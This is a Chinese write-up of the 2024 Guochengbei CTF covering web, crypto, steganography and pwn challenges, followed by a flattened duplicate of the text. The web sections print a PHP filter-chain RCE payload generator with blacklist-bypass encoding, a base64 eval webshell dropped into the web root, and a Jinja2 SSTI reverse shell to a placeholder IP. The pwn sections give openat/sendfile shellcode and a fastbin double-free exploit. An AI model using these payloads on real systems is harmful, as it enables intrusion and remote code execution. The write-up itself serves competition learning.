2024 国城杯 WriteUp
字数 1236 2025-08-22 18:37:15

国城杯CTF WriteUp 技术解析与教学文档

1. Web Signal 题目解析

1.1 初始信息收集

  • 使用dirsearch扫描发现.index.php.swp文件
  • 从swp文件中获取账号密码:guest:MyF3iend

1.2 漏洞利用过程

  1. 任意文件读取漏洞

    • 登录后访问guest.php存在任意文件读取
    • 使用二次编码绕过过滤读取源码:
      /guest.php?path=php://filter/conv%2565rt.bas%256564-encode/resource=/var/www/html/guest.php
      
  2. 源码分析

    <?php
    session_start();
    error_reporting(0);
    if($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest') {
        $_SESSION['error'] = 'Please fill in the username and password';
        header('Location: index.php');
        exit();
    }
    if(!isset($_GET['path'])) {
        header("Location: /guest.php?path=/tmp/hello.php");
        exit;
    }
    $path = $_GET['path'];
    if(preg_match('/php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) {
        echo "Don't do this";
    } else {
        include($path);
    }
    ?>
    
  3. Filter Chain RCE利用

    • 使用filter chain技术绕过过滤执行代码
    • 关键payload生成代码:
    <?php
    $base64_payload = "PD89YCRfUE9TVFsxXWA7Pz4=";
    $conversions = array(
        '/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
        // 其他字符转换规则...
    );
    // 生成filter chain
    $filters = "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
    foreach(str_split(strrev($base64_payload)) as $c) {
        $filters .= $conversions[$c]."|";
        $filters .= "convert.base64-decode|";
        $filters .= "convert.base64-encode|";
        $filters .= "convert.iconv.UTF8.UTF7|";
    }
    $filters .= "convert.base64-decode";
    $final_payload = "php://filter/{$filters}/resource=index.php";
    echo $final_payload;
    
  4. 二次编码绕过

    • 对关键字符进行二次编码绕过过滤
    • Python实现:
    text = 'php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|...'
    a = "string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|_|ve|se"
    a = a.split('|')
    for i in a:
        tmp = i[0]
        tmp = hex(ord(tmp))[2:]
        tmp = '%25' + tmp + i[1:]
        if i in text:
            text = text.replace(i, tmp)
    print(text)
    
  5. 最终RCE

    • 写入webshell:
    1=echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOzs/Pg==|base64 -d>/var/www/html/1.php
    

1.3 权限提升

  • 查找SUID权限文件:find / -perm -4000
  • 发现sudo可免密执行:sudo /bin/cat /tmp/whereflag/*
  • 使用路径遍历读取flag:sudo /bin/cat /tmp/whereflag/root/flag

2. Ez_Gallery 题目解析

2.1 初始访问

  • 弱密码登录:admin/123456

2.2 任意文件读取

  • 读取源码:/info?file=/app/app.py
  • 关键SSTI漏洞代码:
def shell_view(request):
    if request.session.get('username') != 'admin':
        return Response("请先登录", status=403)
    expression = request.GET.get('shellcmd', '')
    blacklist_patterns = [
        r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\..*',
        r'.*soft.*', r'.*%.*'
    ]
    if any(re.search(pattern, expression) for pattern in blacklist_patterns):
        return Response('wafwafwaf')
    try:
        result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
        if result != None:
            return Response('success')
        else:
            return Response('error')
    except Exception as e:
        return Response('error')

2.3 SSTI利用

  • 绕过过滤执行反弹shell:
/shell?shellcmd={{lipsum['__globals__']['__builtins__']['exec'](request['params']['shell'])}}&shell=import socket,subprocess,os%0as=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0as.connect(("[ip]",2333))%0aos.dup2(s.fileno(),0)%0aos.dup2(s.fileno(),1)%0aos.dup2(s.fileno(),2)%0ap=subprocess.call(["/bin/sh","-i"])

3. Crypto Curve 题目解析

3.1 解题脚本

from Crypto.Util.number import *
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 7
c = 1
e = 0x10001
eG = (34120664973166619886120801966861368419497948422807175421202190709822232354059, 11301243831592615312624457443883283529467532390028216735072818875052648928463)

# part2 map to ECC
F = GF(p)
dd = F(d*c^4)
A = F(2)*F(a+dd)/F(a-dd)
B = F(4)/F(a-dd)
a = F(3-A^2)/F(3*B^2)
b = F(2*A^3-9*A)/F(27*B^3)

def edwards_to_ECC(x, y):
    x1 = F(x)/F(c)
    y1 = F(y)/F(c)
    x2 = F(1+y1)/F(1-y1)
    y2 = F(x2)/F(x1)
    x3 = (F(3*x2)+F(A))/F(3*B)
    y3 = F(y2)/F(B)
    return (x3, y3)

def ECC_to_edwards(x, y):
    x2 = (F(x)*F(3*B)-F(A))/F(3)
    y2 = F(y)*F(B)
    x1 = F(x2)/F(y2)
    y1 = F(1)-(F(2)/F(x2+1))
    x_ = F(x1)*F(c)
    y_ = F(y1)*F(c)
    return (x_, y_)

E = EllipticCurve(GF(p), [a, b])
order = E.order()
eG = E(edwards_to_ECC(eG[0], eG[1]))
t = inverse(e, order)
G = t*eG
G = ECC_to_edwards(G[0], G[1])
print(long_to_bytes(int(G[0])))
# b'D0g3xGC{SOlvE_The_Edcurv3}'

4. babyRSA 题目解析

4.1 已知e和d求p和q

from Crypto.Util.number import *
import random
import gmpy2

def getpq(n, e, d):
    p = 1
    q = 1
    while p == 1 and q == 1:
        k = d * e - 1
        g = random.randint(0, n)
        while p == 1 and q == 1 and k % 2 == 0:
            k //= 2
            y = pow(g, k, n)
            if y != 1 and GCD(y-1, n) > 1:
                p = GCD(y-1, n)
                q = n // p
    p = p // q
    return p, q

p, q = getpq(n, n, d)
key = inverse(n, (p-1)*(q-1))
pq = GCD(pow(2, n*key, n)-2, n)
print(long_to_bytes(pow(c, key, pq)))
# b'D0g3xGC{W1sh_Y0u_Go0d_L@ucK-111}'

5. Misc eZ_Steg0 题目解析

5.1 解题步骤

  1. 从01.png提取像素数据:
from PIL import Image
image = Image.open('01.png')
pixels = image.load()
width, height = image.size
data = ''
for y in range(height):
    for x in range(width):
        if pixels[x, y] == 0:
            data += '0'
        else:
            data += '1'
image.close()
print(data)
  1. 使用赛博厨子工具生成图片,得到压缩包密码:!!SUp3RP422W0RD^/??.&&

  2. 解压后从key文件头部提取base64数据

  3. 删除头部base64后保存为.stl文件,打开获取key:sSeCre7KeY?!!@$

  4. 使用key与flag文件异或:

key = b'sSeCre7KeY?!!@$'
data = open('flag', 'rb').read()
new_data = []
for i in range(len(data)):
    new_data += [data[i] ^ key[i % len(key)]]
new_data = bytes(new_data)
open('new_flag.wav', 'wb').write(new_data)
  1. 从音频文件LSB中提取flag:D0g3xGC{U_4rE_4_WhI2_4t_Ste9An09r4pHY}

6. Tr4ffIc_w1th_Ste90 题目解析

6.1 解题步骤

  1. 流量分析找到视频数据(MKV格式)

  2. 导出视频获取压缩包密码

  3. 解密图片:

import numpy as np
import cv2
import sys
import random

def decode(input_image, output_image_prefix, seed):
    np.random.seed(seed)
    encoded_image = cv2.imread(input_image)
    encoded_array = np.asarray(encoded_image)
    row_num = encoded_array.shape[0]
    col_num = encoded_array.shape[1]
    
    original_row_indices = list(range(row_num))
    original_col_indices = list(range(col_num))
    np.random.shuffle(original_row_indices)
    np.random.shuffle(original_col_indices)
    
    reversed_row_order = np.argsort(original_row_indices)
    restored_array = encoded_array[reversed_row_order, :]
    reversed_col_order = np.argsort(original_col_indices)
    restored_array = restored_array[:, reversed_col_order]
    
    output_image = f"{output_image_prefix}_{seed}.png"
    cv2.imwrite(output_image, restored_array)

for seed in range(50, 71):
    decode('encoded.png', 'decoded', seed)
  1. 扫描二维码获取单词列表

  2. 使用PGP单词表转换单词为HEX:

44 30 67 33 78 47 43 7B 43 30 4E 39 72 41 37 55 4C 61 37 31 30 6E 35 5F 59 30 55 5F 48 61 56 33 5F 41 43 48 31 33 56 33 44 5F 37 48 31 35 5F 39 30 61 4C 7D
  1. HEX转ASCII得到flag

7. Pwn Alpha_Shell 题目解析

7.1 检查保护

checksec pwn
[*] '/home/ubuntu/CTF/PWN/CTF赛/国城杯2024/Alpha_Shell/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

7.2 沙箱限制

仅允许以下系统调用:

  • read, write, open, readv, writev, execve, execveat

7.3 Shellcode利用

使用openat+sendfile组合:

shellcode = '''
mov rax, 0x67616c662f2e  ;// ./flag
push rax
mov rdi, -100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat  ;// SYS_openat
pop rax
syscall

mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile  ;// SYS_sendfile
pop rax
syscall
'''

8. vtable_hijack 题目解析

8.1 环境信息

  • libc版本:2.23
  • 保护:Full RELRO, Canary, NX, PIE

8.2 利用步骤

  1. 泄露libc地址
add_chunk(0, 0x200)
add_chunk(1, 0x200)
delete_chunk(0)
show_chunk(0)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x39bb78
  1. Fastbin Double Free攻击
add_chunk(0, 0x68)
add_chunk(1, 0x68)
delete_chunk(0)
delete_chunk(1)
delete_chunk(0)
add_chunk(0, 0x68)
edit_chunk(0, p64(libc.sym['__malloc_hook'] - 0x23))
add_chunk(0, 0x68)
add_chunk(0, 0x68)
add_chunk(0, 0x68)
one_gadget = libc.address + [0x3f3e6, 0x3f43a, 0xd5c07][2]
edit_chunk(0, '\x00'*0x13 + p64(one_gadget))
add_chunk(0, 0x1000)
国城杯CTF WriteUp 技术解析与教学文档 1. Web Signal 题目解析 1.1 初始信息收集 使用dirsearch扫描发现 .index.php.swp 文件 从swp文件中获取账号密码: guest:MyF3iend 1.2 漏洞利用过程 任意文件读取漏洞 : 登录后访问guest.php存在任意文件读取 使用二次编码绕过过滤读取源码: 源码分析 : Filter Chain RCE利用 : 使用filter chain技术绕过过滤执行代码 关键payload生成代码: 二次编码绕过 : 对关键字符进行二次编码绕过过滤 Python实现: 最终RCE : 写入webshell: 1.3 权限提升 查找SUID权限文件: find / -perm -4000 发现sudo可免密执行: sudo /bin/cat /tmp/whereflag/* 使用路径遍历读取flag: sudo /bin/cat /tmp/whereflag/root/flag 2. Ez_ Gallery 题目解析 2.1 初始访问 弱密码登录: admin/123456 2.2 任意文件读取 读取源码: /info?file=/app/app.py 关键SSTI漏洞代码: 2.3 SSTI利用 绕过过滤执行反弹shell: 3. Crypto Curve 题目解析 3.1 解题脚本 4. babyRSA 题目解析 4.1 已知e和d求p和q 5. Misc eZ_ Steg0 题目解析 5.1 解题步骤 从01.png提取像素数据: 使用赛博厨子工具生成图片,得到压缩包密码: !!SUp3RP422W0RD^/??.&& 解压后从key文件头部提取base64数据 删除头部base64后保存为.stl文件,打开获取key: sSeCre7KeY?!!@$ 使用key与flag文件异或: 从音频文件LSB中提取flag: D0g3xGC{U_4rE_4_WhI2_4t_Ste9An09r4pHY} 6. Tr4ffIc_ w1th_ Ste90 题目解析 6.1 解题步骤 流量分析找到视频数据(MKV格式) 导出视频获取压缩包密码 解密图片: 扫描二维码获取单词列表 使用PGP单词表转换单词为HEX: HEX转ASCII得到flag 7. Pwn Alpha_ Shell 题目解析 7.1 检查保护 7.2 沙箱限制 仅允许以下系统调用: read, write, open, readv, writev, execve, execveat 7.3 Shellcode利用 使用openat+sendfile组合: 8. vtable_ hijack 题目解析 8.1 环境信息 libc版本:2.23 保护:Full RELRO, Canary, NX, PIE 8.2 利用步骤 泄露libc地址 Fastbin Double Free攻击